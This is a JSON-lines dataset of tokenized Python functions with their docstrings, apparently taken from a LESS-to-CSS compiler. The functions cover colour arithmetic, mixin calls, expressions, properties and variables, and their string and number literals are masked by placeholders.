{"signature": "def process(self, expression):", "body": "a, o, b = expression<EOL>c1 = self._hextorgb(a)<EOL>c2 = self._hextorgb(b)<EOL>r = ['<STR_LIT:#>']<EOL>for i in range(<NUM_LIT:3>):<EOL><INDENT>v = self.operate(c1[i], c2[i], o)<EOL>if v > <NUM_LIT>:<EOL><INDENT>v = <NUM_LIT><EOL><DEDENT>if v < <NUM_LIT:0>:<EOL><INDENT>v = <NUM_LIT:0><EOL><DEDENT>r.append(\"<STR_LIT>\" % int(v))<EOL><DEDENT>return '<STR_LIT>'.join(r)<EOL>", "docstring": "Process color expression\n        args:\n            expression (tuple): color expression\n        returns:\n            str", "id": "f12433:c0:m0"}
{"signature": "def operate(self, left, right, operation):", "body": "operation = {<EOL>'<STR_LIT:+>': operator.add,<EOL>'<STR_LIT:->': operator.sub,<EOL>'<STR_LIT:*>': operator.mul,<EOL>'<STR_LIT:/>': operator.truediv<EOL>}.get(operation)<EOL>return operation(left, right)<EOL>", "docstring": "Do operation on colors\n        args:\n            left (str): left side\n            right (str): right side\n            operation (str): Operation\n        returns:\n            str", "id": "f12433:c0:m1"}
{"signature": "def rgb(self, *args):", "body": "if len(args) == <NUM_LIT:4>:<EOL><INDENT>args = args[:<NUM_LIT:3>]<EOL><DEDENT>if len(args) == <NUM_LIT:3>:<EOL><INDENT>try:<EOL><INDENT>return self._rgbatohex(list(map(int, args)))<EOL><DEDENT>except ValueError:<EOL><INDENT>if all((a for a in args<EOL>if a[-<NUM_LIT:1>] == '<STR_LIT:%>' and <NUM_LIT:100> >= int(a[:-<NUM_LIT:1>]) >= <NUM_LIT:0>)):<EOL><INDENT>return self._rgbatohex(<EOL>[int(a[:-<NUM_LIT:1>]) * <NUM_LIT:255> / <NUM_LIT> for a in args])<EOL><DEDENT><DEDENT><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Translate rgb(...) to color string\n        raises:\n            ValueError\n        returns:\n            str", "id": "f12433:c0:m2"}
{"signature": "def rgba(self, *args):", "body": "if len(args) == <NUM_LIT:4>:<EOL><INDENT>try:<EOL><INDENT>falpha = float(list(args)[<NUM_LIT:3>])<EOL>if falpha > <NUM_LIT:1>:<EOL><INDENT>args = args[:<NUM_LIT:3>]<EOL><DEDENT>if falpha == <NUM_LIT:0>:<EOL><INDENT>values = self._rgbatohex_raw(list(map(int, args)))<EOL>return \"<STR_LIT>\" % '<STR_LIT:U+002C>'.join([str(a) for a in values])<EOL><DEDENT>return self._rgbatohex(list(map(int, args)))<EOL><DEDENT>except ValueError:<EOL><INDENT>if all((a for a in args<EOL>if a[-<NUM_LIT:1>] == '<STR_LIT:%>' and <NUM_LIT:100> >= int(a[:-<NUM_LIT:1>]) >= <NUM_LIT:0>)):<EOL><INDENT>alpha = list(args)[<NUM_LIT:3>]<EOL>if alpha[-<NUM_LIT:1>] == '<STR_LIT:%>' and float(alpha[:-<NUM_LIT:1>]) == <NUM_LIT:0>:<EOL><INDENT>values = self._rgbatohex_raw(<EOL>[int(a[:-<NUM_LIT:1>]) * <NUM_LIT:255> / <NUM_LIT> for a in args])<EOL>return \"<STR_LIT>\" % '<STR_LIT:U+002C>'.join([str(a) for a in values])<EOL><DEDENT>return self._rgbatohex(<EOL>[int(a[:-<NUM_LIT:1>]) * <NUM_LIT:255> / <NUM_LIT> for a in args])<EOL><DEDENT><DEDENT><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Translate rgba(...) to color string\n        raises:\n            ValueError\n        returns:\n            str", "id": "f12433:c0:m3"}
{"signature": "def argb(self, *args):", "body": "if len(args) == <NUM_LIT:1> and type(args[<NUM_LIT:0>]) is str:<EOL><INDENT>match = re.match(r'<STR_LIT>', args[<NUM_LIT:0>])<EOL>if match:<EOL><INDENT>rgb = re.sub(r'<STR_LIT>', '<STR_LIT>', match.group(<NUM_LIT:1>)).split('<STR_LIT:U+002C>')<EOL><DEDENT>else:<EOL><INDENT>rgb = list(self._hextorgb(args[<NUM_LIT:0>]))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rgb = list(args)<EOL><DEDENT>if len(rgb) == <NUM_LIT:3>:<EOL><INDENT>return self._rgbatohex([<NUM_LIT:255>] + list(map(int, rgb)))<EOL><DEDENT>elif len(rgb) == <NUM_LIT:4>:<EOL><INDENT>rgb = [rgb.pop()] + rgb  <EOL>try:<EOL><INDENT>fval = float(list(rgb)[<NUM_LIT:0>])<EOL>if fval > <NUM_LIT:1>:<EOL><INDENT>rgb = [<NUM_LIT:255>] + rgb[<NUM_LIT:1>:]  <EOL><DEDENT>elif <NUM_LIT:1> >= fval >= <NUM_LIT:0>:<EOL><INDENT>rgb = [<EOL>fval * <NUM_LIT><EOL>] + rgb[<NUM_LIT:1>:]  <EOL><DEDENT>else:<EOL><INDENT>rgb = [<NUM_LIT:0>] + rgb[<NUM_LIT:1>:]  <EOL><DEDENT>return self._rgbatohex(list(map(int, rgb)))<EOL><DEDENT>except ValueError:<EOL><INDENT>if all((a for a in rgb<EOL>if a[-<NUM_LIT:1>] == '<STR_LIT:%>' and <NUM_LIT:100> >= int(a[:-<NUM_LIT:1>]) >= <NUM_LIT:0>)):<EOL><INDENT>return self._rgbatohex(<EOL>[int(a[:-<NUM_LIT:1>]) * <NUM_LIT:255> / <NUM_LIT> for a in rgb])<EOL><DEDENT><DEDENT><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Translate argb(...) to color string\n\n        Creates a hex representation of a color in #AARRGGBB format (NOT\n        #RRGGBBAA!). This format is used in Internet Explorer, and .NET\n        and Android development.\n\n        raises:\n            ValueError\n        returns:\n            str", "id": "f12433:c0:m4"}
{"signature": "def hsl(self, *args):", "body": "if len(args) == <NUM_LIT:4>:<EOL><INDENT>return self.hsla(*args)<EOL><DEDENT>elif len(args) == <NUM_LIT:3>:<EOL><INDENT>h, s, l = args<EOL>rgb = colorsys.hls_to_rgb(<EOL>int(h) / <NUM_LIT>, utility.pc_or_float(l), utility.pc_or_float(s))<EOL>color = (utility.convergent_round(c * <NUM_LIT:255>) for c in rgb)<EOL>return self._rgbatohex(color)<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Translate hsl(...) to color string\n        raises:\n            ValueError\n        returns:\n            str", "id": "f12433:c0:m5"}
{"signature": "def hsla(self, *args):", "body": "if len(args) == <NUM_LIT:4>:<EOL><INDENT>h, s, l, a = args<EOL>rgb = colorsys.hls_to_rgb(<EOL>int(h) / <NUM_LIT>, utility.pc_or_float(l), utility.pc_or_float(s))<EOL>color = [float(utility.convergent_round(c * <NUM_LIT:255>)) for c in rgb]<EOL>color.append(utility.pc_or_float(a))<EOL>return \"<STR_LIT>\" % tuple(color)<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Translate hsla(...) to color string\n        raises:\n            ValueError\n        returns:\n            str", "id": "f12433:c0:m6"}
{"signature": "def hue(self, color, *args):", "body": "if color:<EOL><INDENT>h, l, s = self._hextohls(color)<EOL>return utility.convergent_round(h * <NUM_LIT>, <NUM_LIT:3>)<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Return the hue value of a color\n        args:\n            color (str): color\n        raises:\n            ValueError\n        returns:\n            float", "id": "f12433:c0:m7"}
{"signature": "def saturation(self, color, *args):", "body": "if color:<EOL><INDENT>h, l, s = self._hextohls(color)<EOL>return s * <NUM_LIT><EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Return the saturation value of a color\n        args:\n            color (str): color\n        raises:\n            ValueError\n        returns:\n            float", "id": "f12433:c0:m8"}
{"signature": "def lightness(self, color, *args):", "body": "if color:<EOL><INDENT>h, l, s = self._hextohls(color)<EOL>return l * <NUM_LIT><EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Return the lightness value of a color\n        args:\n            color (str): color\n        raises:\n            ValueError\n        returns:\n            float", "id": "f12433:c0:m9"}
{"signature": "def lighten(self, color, diff, *args):", "body": "if color and diff:<EOL><INDENT>return self._ophsl(color, diff, <NUM_LIT:1>, operator.add)<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Lighten a color\n        args:\n            color (str): color\n            diff (str): percentage\n        returns:\n            str", "id": "f12433:c0:m11"}
{"signature": "def darken(self, color, diff, *args):", "body": "if color and diff:<EOL><INDENT>return self._ophsl(color, diff, <NUM_LIT:1>, operator.sub)<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Darken a color\n        args:\n            color (str): color\n            diff (str): percentage\n        returns:\n            str", "id": "f12433:c0:m12"}
{"signature": "def saturate(self, color, diff, *args):", "body": "if color and diff:<EOL><INDENT>return self._ophsl(color, diff, <NUM_LIT:2>, operator.add)<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Saturate a color\n        args:\n            color (str): color\n            diff (str): percentage\n        returns:\n            str", "id": "f12433:c0:m13"}
{"signature": "def desaturate(self, color, diff, *args):", "body": "if color and diff:<EOL><INDENT>return self._ophsl(color, diff, <NUM_LIT:2>, operator.sub)<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Desaturate a color\n        args:\n            color (str): color\n            diff (str): percentage\n        returns:\n            str", "id": "f12433:c0:m14"}
{"signature": "def greyscale(self, color, *args):", "body": "if color:<EOL><INDENT>return self.desaturate(color, <NUM_LIT>)<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Simply 100% desaturate.\n        args:\n            color (str): color\n        returns:\n            str", "id": "f12433:c0:m16"}
{"signature": "def grayscale(self, color, *args):", "body": "return self.greyscale(color, *args)<EOL>", "docstring": "Wrapper for greyscale, other spelling", "id": "f12433:c0:m17"}
{"signature": "def spin(self, color, degree, *args):", "body": "if color and degree:<EOL><INDENT>if isinstance(degree, string_types):<EOL><INDENT>degree = float(degree.strip('<STR_LIT:%>'))<EOL><DEDENT>h, l, s = self._hextohls(color)<EOL>h = ((h * <NUM_LIT>) + degree) % <NUM_LIT><EOL>h = <NUM_LIT> + h if h < <NUM_LIT:0> else h<EOL>rgb = colorsys.hls_to_rgb(h / <NUM_LIT>, l, s)<EOL>color = (utility.convergent_round(c * <NUM_LIT:255>) for c in rgb)<EOL>return self._rgbatohex(color)<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Spin color by degree. (Increase / decrease hue)\n        args:\n            color (str): color\n            degree (str): percentage\n        raises:\n            ValueError\n        returns:\n            str", "id": "f12433:c0:m18"}
{"signature": "def mix(self, color1, color2, weight=<NUM_LIT:50>, *args):", "body": "if color1 and color2:<EOL><INDENT>if isinstance(weight, string_types):<EOL><INDENT>weight = float(weight.strip('<STR_LIT:%>'))<EOL><DEDENT>weight = ((weight / <NUM_LIT>) * <NUM_LIT:2>) - <NUM_LIT:1><EOL>rgb1 = self._hextorgb(color1)<EOL>rgb2 = self._hextorgb(color2)<EOL>alpha = <NUM_LIT:0><EOL>w1 = (((weight if weight * alpha == -<NUM_LIT:1> else weight + alpha) /<EOL>(<NUM_LIT:1> + weight * alpha)) + <NUM_LIT:1>)<EOL>w1 = w1 / <NUM_LIT><EOL>w2 = <NUM_LIT:1> - w1<EOL>rgb = [<EOL>rgb1[<NUM_LIT:0>] * w1 + rgb2[<NUM_LIT:0>] * w2,<EOL>rgb1[<NUM_LIT:1>] * w1 + rgb2[<NUM_LIT:1>] * w2,<EOL>rgb1[<NUM_LIT:2>] * w1 + rgb2[<NUM_LIT:2>] * w2,<EOL>]<EOL>return self._rgbatohex(rgb)<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "This algorithm factors in both the user-provided weight\n        and the difference between the alpha values of the two colors\n        to decide how to perform the weighted average of the two RGB values.\n\n        It works by first normalizing both parameters to be within [-1, 1],\n        where 1 indicates \"only use color1\", -1 indicates \"only use color 0\",\n        and all values in between indicated a proportionately weighted average.\n\n        Once we have the normalized variables w and a,\n        we apply the formula (w + a)/(1 + w*a)\n        to get the combined weight (in [-1, 1]) of color1.\n        This formula has two especially nice properties:\n\n         * When either w or a are -1 or 1, the combined weight is also that number\n           (cases where w * a == -1 are undefined, and handled as a special case).\n\n         * When a is 0, the combined weight is w, and vice versa\n\n        Finally, the weight of color1 is renormalized to be within [0, 1]\n        and the weight of color2 is given by 1 minus the weight of color1.\n\n        Copyright (c) 2006-2009 Hampton Catlin, Nathan Weizenbaum, and Chris Eppstein\n        http://sass-lang.com\n        args:\n            color1 (str): first color\n            color2 (str): second color\n            weight (int/str): weight\n        raises:\n            ValueError\n        returns:\n            str", "id": "f12433:c0:m19"}
{"signature": "def fmt(self, color):", "body": "if utility.is_color(color):<EOL><INDENT>color = color.lower().strip('<STR_LIT:#>')<EOL>if len(color) in [<NUM_LIT:3>, <NUM_LIT:4>]:<EOL><INDENT>color = '<STR_LIT>'.join([c * <NUM_LIT:2> for c in color])<EOL><DEDENT>return '<STR_LIT>' % color<EOL><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Format CSS Hex color code.\n        uppercase becomes lowercase, 3 digit codes expand to 6 digit.\n        args:\n            color (str): color\n        raises:\n            ValueError\n        returns:\n            str", "id": "f12433:c0:m20"}
{"signature": "def parse(self, scope):", "body": "self.keyframe, = [<EOL>e[<NUM_LIT:0>] if isinstance(e, tuple) else e for e in self.tokens<EOL>if str(e).strip()<EOL>]<EOL>self.subparse = False<EOL>return self<EOL>", "docstring": "Parse node.\n        args:\n            scope (Scope): Current scope\n        raises:\n            SyntaxError\n        returns:\n            self", "id": "f12440:c0:m0"}
{"signature": "def copy(self):", "body": "return KeyframeSelector(self.tokens, <NUM_LIT:0>)<EOL>", "docstring": "Return copy of self\n        Returns:\n            KeyframeSelector object", "id": "f12440:c0:m1"}
{"signature": "def fmt(self, fills):", "body": "return self.keyframe<EOL>", "docstring": "Format identifier\n        args:\n            fills (dict): replacements\n        returns:\n            str (CSS)", "id": "f12440:c0:m2"}
{"signature": "def parse(self, scope):", "body": "self.name, args, self.guards = self.tokens[<NUM_LIT:0>]<EOL>self.args = [a for a in utility.flatten(args) if a]<EOL>self.body = Block([None, self.tokens[<NUM_LIT:1>]], <NUM_LIT:0>)<EOL>self.vars = list(<EOL>utility.flatten([<EOL>list(v.values()) for v in [s['<STR_LIT>'] for s in scope]<EOL>]))<EOL>return self<EOL>", "docstring": "Parse node\n        args:\n            scope (Scope): current scope\n        raises:\n            SyntaxError\n        returns:\n            self", "id": "f12441:c0:m0"}
{"signature": "def raw(self):", "body": "return self.name.raw()<EOL>", "docstring": "Raw mixin name\n        returns:\n            str", "id": "f12441:c0:m1"}
{"signature": "def parse_args(self, args, scope):", "body": "arguments = list(zip(args,<EOL>['<STR_LIT:U+0020>'] * len(args))) if args and args[<NUM_LIT:0>] else None<EOL>zl = itertools.zip_longest if sys.version_info[<EOL><NUM_LIT:0>] == <NUM_LIT:3> else itertools.izip_longest<EOL>if self.args:<EOL><INDENT>parsed = [<EOL>v if hasattr(v, '<STR_LIT>') else v for v in copy.copy(self.args)<EOL>]<EOL>args = args if isinstance(args, list) else [args]<EOL>vars = [<EOL>self._parse_arg(var, arg, scope)<EOL>for arg, var in zl([a for a in args], parsed)<EOL>]<EOL>for var in vars:<EOL><INDENT>if var:<EOL><INDENT>var.parse(scope)<EOL><DEDENT><DEDENT>if not arguments:<EOL><INDENT>arguments = [v.value for v in vars if v]<EOL><DEDENT><DEDENT>if not arguments:<EOL><INDENT>arguments = '<STR_LIT>'<EOL><DEDENT>Variable(['<STR_LIT>', None, arguments]).parse(scope)<EOL>", "docstring": "Parse arguments to mixin. Add them to scope\n        as variables. Sets upp special variable @arguments\n        as well.\n        args:\n            args (list): arguments\n            scope (Scope): current scope\n        raises:\n            SyntaxError", "id": "f12441:c0:m2"}
{"signature": "def _parse_arg(self, var, arg, scope):", "body": "if isinstance(var, Variable):<EOL><INDENT>if arg:<EOL><INDENT>if utility.is_variable(arg[<NUM_LIT:0>]):<EOL><INDENT>tmp = scope.variables(arg[<NUM_LIT:0>])<EOL>if not tmp:<EOL><INDENT>return None<EOL><DEDENT>val = tmp.value<EOL><DEDENT>else:<EOL><INDENT>val = arg<EOL><DEDENT>var = Variable(var.tokens[:-<NUM_LIT:1>] + [val])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if utility.is_variable(var):<EOL><INDENT>if arg is None:<EOL><INDENT>raise SyntaxError('<STR_LIT>')<EOL><DEDENT>elif utility.is_variable(arg[<NUM_LIT:0>]):<EOL><INDENT>tmp = scope.variables(arg[<NUM_LIT:0>])<EOL>if not tmp:<EOL><INDENT>return None<EOL><DEDENT>val = tmp.value<EOL><DEDENT>else:<EOL><INDENT>val = arg<EOL><DEDENT>var = Variable([var, None, val])<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>return var<EOL>", "docstring": "Parse a single argument to mixin.\n        args:\n            var (Variable object): variable\n            arg (mixed): argument\n            scope (Scope object): current scope\n        returns:\n            Variable object or None", "id": "f12441:c0:m3"}
{"signature": "def parse_guards(self, scope):", "body": "if self.guards:<EOL><INDENT>cor = True if '<STR_LIT:U+002C>' in self.guards else False<EOL>for g in self.guards:<EOL><INDENT>if isinstance(g, list):<EOL><INDENT>res = (g[<NUM_LIT:0>].parse(scope)<EOL>if len(g) == <NUM_LIT:1> else Expression(g).parse(scope))<EOL>if cor:<EOL><INDENT>if res:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>elif not res:<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Parse guards on mixin.\n        args:\n            scope (Scope): current scope\n        raises:\n            SyntaxError\n        returns:\n            bool (passes guards)", "id": "f12441:c0:m4"}
{"signature": "def call(self, scope, args=[]):", "body": "ret = False<EOL>if args:<EOL><INDENT>args = [[<EOL>a.parse(scope) if isinstance(a, Expression) else a for a in arg<EOL>] if arg else arg for arg in args]<EOL><DEDENT>try:<EOL><INDENT>self.parse_args(args, scope)<EOL><DEDENT>except SyntaxError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if self.parse_guards(scope):<EOL><INDENT>body = self.body.copy()<EOL>ret = body.tokens[<NUM_LIT:1>]<EOL>if ret:<EOL><INDENT>utility.rename(ret, scope, Block)<EOL><DEDENT><DEDENT><DEDENT>return ret<EOL>", "docstring": "Call mixin. Parses a copy of the mixins body\n        in the current scope and returns it.\n        args:\n            scope (Scope): current scope\n            args (list): arguments\n        raises:\n            SyntaxError\n        returns:\n            list or False", "id": "f12441:c0:m5"}
{"signature": "def parse(self, scope):", "body": "self.parsed = list(utility.flatten(self.tokens))<EOL>if self.parsed[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>if len(self.parsed) > <NUM_LIT:4>:<EOL><INDENT>self.parsed.insert(<NUM_LIT:3>, '<STR_LIT:U+0020>')<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Parse node\n        args:\n            scope (Scope): current scope\n        raises:\n            SyntaxError\n        returns:\n            self", "id": "f12442:c0:m0"}
{"signature": "def fmt(self, fills):", "body": "return '<STR_LIT>'.join(self.parsed) + fills['<STR_LIT>']<EOL>", "docstring": "Format node\n        args:\n            fills (dict): replacements\n        returns:\n            str", "id": "f12442:c0:m1"}
{"signature": "def parse(self, scope):", "body": "assert (len(self.tokens) == <NUM_LIT:3>)<EOL>expr = self.process(self.tokens, scope)<EOL>A, O, B = [<EOL>e[<NUM_LIT:0>] if isinstance(e, tuple) else e for e in expr<EOL>if str(e).strip()<EOL>]<EOL>try:<EOL><INDENT>a, ua = utility.analyze_number(A, '<STR_LIT>')<EOL>b, ub = utility.analyze_number(B, '<STR_LIT>')<EOL><DEDENT>except SyntaxError:<EOL><INDENT>return '<STR_LIT:U+0020>'.join([str(A), str(O), str(B)])<EOL><DEDENT>if (a is False or b is False):<EOL><INDENT>return '<STR_LIT:U+0020>'.join([str(A), str(O), str(B)])<EOL><DEDENT>if ua == '<STR_LIT>' or ub == '<STR_LIT>':<EOL><INDENT>return color.Color().process((A, O, B))<EOL><DEDENT>if a == <NUM_LIT:0> and O == '<STR_LIT:/>':<EOL><INDENT>return '<STR_LIT>'.join([str(A), str(O), str(B), '<STR_LIT:U+0020>'])<EOL><DEDENT>out = self.operate(a, b, O)<EOL>if isinstance(out, bool):<EOL><INDENT>return out<EOL><DEDENT>return self.with_units(out, ua, ub)<EOL>", "docstring": "Parse Node\n        args:\n            scope (Scope): Scope object\n        raises:\n            SyntaxError\n        returns:\n            str", "id": "f12443:c0:m0"}
{"signature": "def with_units(self, val, ua, ub):", "body": "if not val:<EOL><INDENT>return str(val)<EOL><DEDENT>if ua or ub:<EOL><INDENT>if ua and ub:<EOL><INDENT>if ua == ub:<EOL><INDENT>return str(val) + ua<EOL><DEDENT>else:<EOL><INDENT>return str(val) + ua<EOL><DEDENT><DEDENT>elif ua:<EOL><INDENT>return str(val) + ua<EOL><DEDENT>elif ub:<EOL><INDENT>return str(val) + ub<EOL><DEDENT><DEDENT>return repr(val)<EOL>", "docstring": "Return value with unit.\n        args:\n            val (mixed): result\n            ua (str): 1st unit\n            ub (str): 2nd unit\n        raises:\n            SyntaxError\n        returns:\n            str", "id": "f12443:c0:m1"}
{"signature": "def operate(self, vala, valb, oper):", "body": "operation = {<EOL>'<STR_LIT:+>': operator.add,<EOL>'<STR_LIT:->': operator.sub,<EOL>'<STR_LIT:*>': operator.mul,<EOL>'<STR_LIT:/>': operator.truediv,<EOL>'<STR_LIT:=>': operator.eq,<EOL>'<STR_LIT:>>': operator.gt,<EOL>'<STR_LIT:<>': operator.lt,<EOL>'<STR_LIT>': operator.ge,<EOL>'<STR_LIT>': operator.le,<EOL>}.get(oper)<EOL>if operation is None:<EOL><INDENT>raise SyntaxError(\"<STR_LIT>\" % oper)<EOL><DEDENT>ret = operation(vala, valb)<EOL>if oper in '<STR_LIT>' and int(ret) == ret:<EOL><INDENT>ret = int(ret)<EOL><DEDENT>return ret<EOL>", "docstring": "Perform operation\n        args:\n            vala (mixed): 1st value\n            valb (mixed): 2nd value\n            oper (str): operation\n        returns:\n            mixed", "id": "f12443:c0:m2"}
{"signature": "def expression(self):", "body": "return utility.flatten(self.tokens)<EOL>", "docstring": "Return str representation of expression\n        returns:\n            str", "id": "f12443:c0:m3"}
{"signature": "def parse(self, scope):", "body": "if not self.parsed:<EOL><INDENT>if len(self.tokens) > <NUM_LIT:2>:<EOL><INDENT>property, style, _ = self.tokens<EOL>self.important = True<EOL><DEDENT>else:<EOL><INDENT>property, style = self.tokens<EOL>self.important = False<EOL><DEDENT>self.property = '<STR_LIT>'.join(property)<EOL>self.parsed = []<EOL>if style:<EOL><INDENT>style = self.preprocess(style)<EOL>self.parsed = self.process(style, scope)<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Parse node\n        args:\n            scope (Scope): current scope\n        raises:\n            SyntaxError\n        returns:\n            self", "id": "f12444:c0:m0"}
{"signature": "def preprocess(self, style):", "body": "if self.property == '<STR_LIT>':<EOL><INDENT>style = [<EOL>'<STR_LIT>'.join(u.expression()) if hasattr(u, '<STR_LIT>') else u<EOL>for u in style<EOL>]<EOL><DEDENT>else:<EOL><INDENT>style = [(u, '<STR_LIT:U+0020>') if hasattr(u, '<STR_LIT>') else u<EOL>for u in style]<EOL><DEDENT>return style<EOL>", "docstring": "Hackish preprocessing from font shorthand tags.\n        Skips expression parse on certain tags.\n        args:\n            style (list): .\n        returns:\n            list", "id": "f12444:c0:m1"}
{"signature": "def fmt(self, fills):", "body": "f = \"<STR_LIT>\"<EOL>imp = '<STR_LIT>' if self.important else '<STR_LIT>'<EOL>if fills['<STR_LIT>']:<EOL><INDENT>self.parsed = [<EOL>'<STR_LIT>' % fills['<STR_LIT>'] if p == '<STR_LIT:U+002C>' else p for p in self.parsed<EOL>]<EOL><DEDENT>style = '<STR_LIT>'.join([<EOL>p.fmt(fills) if hasattr(p, '<STR_LIT>') else str(p) for p in self.parsed<EOL>])<EOL>style = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", style)<EOL>fills.update({<EOL>'<STR_LIT>': self.property,<EOL>'<STR_LIT>': style.strip(),<EOL>'<STR_LIT>': imp<EOL>})<EOL>return f % fills<EOL>", "docstring": "Format node\n        args:\n            fills (dict): replacements\n        returns:\n            str", "id": "f12444:c0:m2"}
{"signature": "def copy(self):", "body": "return Property([t for t in self.tokens], <NUM_LIT:0>)<EOL>", "docstring": "Return a full copy of self\n        Returns:\n            Property object", "id": "f12444:c0:m3"}
{"signature": "def __init__(self, mixin, args, lineno=<NUM_LIT:0>):", "body": "self.tokens = [mixin, args]<EOL>self.lineno = lineno<EOL>", "docstring": "This node represents mixin calls. The calls\n        to these mixins are deferred until the second\n        parse cycle. lessc.js allows calls to mixins not\n        yet defined or known.\n        args:\n            mixin (Mixin): Mixin object\n            args (list): Call arguments", "id": "f12447:c0:m0"}
{"signature": "def parse(self, scope, error=False, depth=<NUM_LIT:0>):", "body": "res = False<EOL>ident, args = self.tokens<EOL>ident.parse(scope)<EOL>mixins = scope.mixins(ident.raw())<EOL>if not mixins:<EOL><INDENT>ident.parse(None)<EOL>mixins = scope.mixins(ident.raw())<EOL><DEDENT>if depth > <NUM_LIT:64>:<EOL><INDENT>raise SyntaxError('<STR_LIT>' % ident.raw(True))<EOL><DEDENT>if not mixins:<EOL><INDENT>if scope.deferred:<EOL><INDENT>store = [t for t in scope.deferred.parsed[-<NUM_LIT:1>]]<EOL>i = <NUM_LIT:0><EOL>while scope.deferred.parsed[-<NUM_LIT:1>]:<EOL><INDENT>scope.current = scope.deferred<EOL>ident.parse(scope)<EOL>mixins = scope.mixins(ident.raw())<EOL>scope.current = None<EOL>if mixins or i > <NUM_LIT:64>:<EOL><INDENT>break<EOL><DEDENT>scope.deferred.parsed[-<NUM_LIT:1>].pop()<EOL>i += <NUM_LIT:1><EOL><DEDENT>scope.deferred.parsed[-<NUM_LIT:1>] = store<EOL><DEDENT><DEDENT>if not mixins:<EOL><INDENT>block = scope.blocks(ident.raw())<EOL>if not block:<EOL><INDENT>ident.parse(None)<EOL>block = scope.blocks(ident.raw())<EOL><DEDENT>if block:<EOL><INDENT>scope.current = scope.real[-<NUM_LIT:1>] if scope.real else None<EOL>res = block.copy_inner(scope)<EOL>scope.current = None<EOL><DEDENT><DEDENT>if mixins:<EOL><INDENT>for mixin in mixins:<EOL><INDENT>scope.current = scope.real[-<NUM_LIT:1>] if scope.real else None<EOL>res = mixin.call(scope, args)<EOL>if res:<EOL><INDENT>[scope.add_variable(v) for v in mixin.vars]<EOL>scope.deferred = ident<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if res:<EOL><INDENT>store = [t for t in scope.deferred.parsed[-<NUM_LIT:1>]<EOL>] if scope.deferred else False<EOL>tmp_res = []<EOL>for p in res:<EOL><INDENT>if p:<EOL><INDENT>if isinstance(p, Deferred):<EOL><INDENT>tmp_res.append(p.parse(scope, depth=depth + <NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>tmp_res.append(p.parse(scope))<EOL><DEDENT><DEDENT><DEDENT>res = tmp_res<EOL>while (any(t for t in res if isinstance(t, Deferred))):<EOL><INDENT>res = [p.parse(scope) for p in res if p]<EOL><DEDENT>if store:<EOL><INDENT>scope.deferred.parsed[-<NUM_LIT:1>] = store<EOL><DEDENT><DEDENT>if error and not res:<EOL><INDENT>raise SyntaxError('<STR_LIT>' % ident.raw(True))<EOL><DEDENT>return res<EOL>", "docstring": "Parse function. We search for mixins\n        first within current scope then fallback\n        to global scope. The special scope.deferred\n        is used when local scope mixins are called\n        within parent mixins.\n        If nothing is found we fallback to block-mixin\n        as lessc.js allows calls to blocks and mixins to\n        be inter-changable.\n        clx: This method is a HACK that stems from\n        poor design elsewhere. I will fix it\n        when I have more time.\n        args:\n            scope (Scope): Current scope\n        returns:\n            mixed", "id": "f12447:c0:m1"}
{"signature": "def copy(self):", "body": "return self<EOL>", "docstring": "Returns self (used when Block objects are copy'd)\n        returns:\n            self", "id": "f12447:c0:m2"}
{"signature": "def parse(self, scope):", "body": "if not self.parsed:<EOL><INDENT>self.parsed = '<STR_LIT>'.join(self.process(self.tokens, scope))<EOL><DEDENT>return self.parsed<EOL>", "docstring": "Parse node\n        args:\n            scope (Scope): current scope\n        raises:\n            SyntaxError\n        returns:\n            parsed", "id": "f12448:c0:m0"}
{"signature": "def copy(self):", "body": "return Import([t for t in self.tokens], <NUM_LIT:0>)<EOL>", "docstring": "Return a full copy of self\n        Returns:\n            Import object", "id": "f12448:c0:m2"}
{"signature": "def parse(self, scope):", "body": "self.name, _, self.value = self.tokens<EOL>if isinstance(self.name, tuple):<EOL><INDENT>if len(self.name) > <NUM_LIT:1>:<EOL><INDENT>self.name, pad = self.name<EOL>self.value.append(pad)<EOL><DEDENT>else:<EOL><INDENT>self.name = self.name[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>scope.add_variable(self)<EOL>return self<EOL>", "docstring": "Parse function\n        args:\n            scope (Scope): Scope object\n        returns:\n            self", "id": "f12449:c0:m0"}
{"signature": "def copy(self):", "body": "return Variable([t for t in self.tokens])<EOL>", "docstring": "Return a copy of self\n        Returns:\n            Variable object", "id": "f12449:c0:m1"}
